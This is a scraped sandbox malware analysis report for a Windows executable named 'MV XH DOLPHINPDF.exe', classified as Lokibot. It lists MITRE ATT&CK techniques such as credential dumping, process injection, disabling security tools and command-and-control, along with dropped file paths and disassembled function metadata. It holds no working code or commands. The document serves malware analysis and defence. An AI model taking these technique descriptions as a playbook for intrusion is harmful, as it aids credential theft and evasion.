Opcode ID: 2c87b1e58ed5965bf5bb80f9d93cc93788aba25fa614c059842a41219c3c92e8
Instruction ID: b08fc7bd1436e770ed9c7fd3d05350ea13e303db79f9715dd3bcd1ba391904bb
Opcode Fuzzy Hash: 2c87b1e58ed5965bf5bb80f9d93cc93788aba25fa614c059842a41219c3c92e8
Instruction Fuzzy Hash: CCE06D70200B108FD370DF28E5047867BE4AF01714F00892CE486C6A61DBF4E848CB62

Description:	Adversaries may obtain and abuse credentials of existing accounts as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Compromised credentials may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access, network devices, and remote desktop.Compromised credentials may also grant an adversary increased privilege to specific systems or access to restricted areas of the network. Adversaries may choose not to use malware or tools in conjunction with the legitimate access those credentials provide to make it harder to detect their presence.
Tactics:	Defense Evasion, Initial Access, Persistence, Privilege Escalation
Data Sources:	Logon Session: Logon Session Creation, Logon Session: Logon Session Metadata, User Account: User Account Authentication
Platforms:	Azure AD, Containers, Google Workspace, IaaS, Linux, macOS, Network, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse the Windows service control manager to execute malicious commands or payloads. The Windows service control manager ( `services.exe` ) is an interface to manage and manipulate services.The service control manager is accessible to users via GUI components as well as system utilities such as `sc.exe` and Net .
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Traffic Flow, Process: Process Creation, Service: Service Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may create or modify Windows services to repeatedly execute malicious payloads as part of persistence. When Windows boots up, it starts programs or applications called services that perform background system functions.Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Windows Registry.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Driver: Driver Load, File: File Metadata, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Creation, Service: Service Creation, Service: Service Modification, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in an attempt to elevate privileges. Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. Security constructs such as permission levels will often hinder access to information and use of certain techniques, so adversaries will likely need to perform privilege escalation to include use of software exploitation to circumvent those restrictions.
Tactics:	Privilege Escalation
Data Sources:	Driver: Driver Load, Process: Process Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	Driver: Driver Load, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search the Registry on compromised systems for insecurely stored credentials. The Windows Registry stores configuration information that can be used by the system or other programs. Adversaries may query the Registry looking for credentials and passwords that have been stored for use by other programs or services. Sometimes these credentials are used for automatic logons.
Tactics:	Credential Access
Data Sources:	Command: Command Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report MV XH DOLPHINPDF.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: Lokibot

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Snort Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Temp\aut4633.tmp

C:\Users\user\AppData\Local\Temp\aut4672.tmp

C:\Users\user\AppData\Local\Temp\ferritic

C:\Users\user\AppData\Local\Temp\fondaco

C:\Users\user\AppData\Roaming\188E93\31437F.lck

C:\Users\user\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-2246122658-3693405117-2476756634-1003\89dad5d484a9f889a3a8dfca823edc3e_9e146be9-c76a-4720-bcdb-53011b87bd06

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Rich Headers

Windows Analysis Report
MV XH DOLPHINPDF.exe

Function 00083B4C Relevance: 17.7, APIs: 8, Strings: 2, Instructions: 153
windowCOMMON

Function 00084AFE Relevance: 10.7, APIs: 7, Instructions: 223
COMMON

Function 00084FE9 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 62
COMMON

Function 000E93DF Relevance: 19.8, APIs: 13, Instructions: 322
fileCOMMON

Function 00083015 Relevance: 19.3, APIs: 7, Strings: 4, Instructions: 73
windowregistryCOMMON

Function 00083041 Relevance: 19.3, APIs: 7, Strings: 4, Instructions: 54
windowregistryCOMMON

Function 000871EB Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 201
registryCOMMON

Function 00083A58 Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 71
windowregistryCOMMON

Function 00083633 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 151
windowtimeregistryCOMMON

Function 00083778 Relevance: 14.3, APIs: 1, Strings: 7, Instructions: 267
COMMON

Function 01DD2630 Relevance: 10.7, APIs: 7, Instructions: 239
fileCOMMON

Function 000839E7 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 44
COMMON

Function 01DD2410 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 139
fileCOMMON

Function 0008410D Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 88
windowCOMMON

Function 000A564D Relevance: 7.7, APIs: 5, Instructions: 163
COMMONLIBRARYCODE

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre